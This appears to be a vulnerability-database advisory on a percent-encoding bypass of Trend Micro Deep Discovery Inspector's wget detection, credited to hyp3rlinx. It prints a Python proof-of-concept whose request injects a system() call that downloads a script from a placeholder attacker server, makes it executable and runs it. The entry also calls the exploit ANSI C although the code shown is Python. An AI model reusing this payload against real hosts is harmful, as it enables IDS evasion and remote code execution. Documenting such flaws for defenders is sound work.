Trend Micro Deep Discovery Inspector wget Detection Hexadecimal String security check

Summaryinfo

A vulnerability was found in Trend Micro Deep Discovery Inspector and classified as critical. This issue affects some unknown processing of the component wget Detection. Such manipulation with the input %77%67%65%74 as part of Hexadecimal String leads to security check. The attack may be performed from remote. In addition, an exploit is available.

Detailsinfo

A vulnerability was found in Trend Micro Deep Discovery Inspector (the affected version is unknown) and classified as critical. Affected by this issue is an unknown code of the component wget Detection. The manipulation with the input value %77%67%65%74 leads to a security check vulnerability. Using CWE to declare the problem leads to CWE-358. The product does not implement or incorrectly implements one or more security-relevant checks as specified by the design of a standardized algorithm, protocol, or technique. Impacted is confidentiality, integrity, and availability.

The weakness was presented 07/23/2019 by John Page (hyp3rlinx) as confirmed advisory (Website). The advisory is available at hyp3rlinx.altervista.org. The public release was coordinated in cooperation with the vendor. The attack may be launched remotely. No form of authentication is required for exploitation. Technical details as well as a public exploit are known. This vulnerability is assigned to T1211 by the MITRE ATT&CK project.

A public exploit has been developed by John Page (hyp3rlinx) in ANSI C and been published immediately after the advisory. The exploit is available at hyp3rlinx.altervista.org. It is declared as functional. The vulnerability was handled as a non-public zero-day exploit for at least 70 days. During that time the estimated underground price was around $5k-$25k. The code used by the exploit is:

from socket import *
#Bypass TM DDI IDS e.g. Rule 2452 (Wget command line injection) PoC
#Discovery: hyp3rlinx - ApparitionSec
#Apparition Security
#Firewall Rule Bypass

IP = raw_input("[+] Trend Micro IDS")
PORT = 80

payload="/index.php?s=/index/vulnerable/app/invoke&function=call_user_func_array&vars[0]=system&vars[1][]=%77%67%65%74%20http://Attacker-Server/x.sh%20-O%20/tmp/a;%20chmod%200777%20/tmp/a;%20/tmp/a"
req = "GET "+payload+" HTTP/1.1\r\nHost"+IP+"\r\nConnection: close\r\n\r\n"

s=socket(AF_INET, SOCK_STREAM)
s.connect((IP, PORT))
s.send(req)
res=""

while True:
    res = s.recv(512)
    print res
    if res=="\n" or "</html>":
        break

s.close()

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

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Productinfo

Vendor

• Trend Micro

Name

• Deep Discovery Inspector

License

• commercial

Website

• Vendor: https://www.trendmicro.com/

CPE 2.3info

• 🔍

CPE 2.2info

• 🔍

CVSSv4info

CVSSv3info

CVSSv2info

Exploitinginfo

Threat Intelligenceinfo

Countermeasuresinfo

Timelineinfo

Sourcesinfo

Entryinfo

Submitinfo

Accepted

• Submit #79: Trend Micro Deep Discovery Inspector IDS / Percent Encoding IDS Bypass (by hyp3rlinx)

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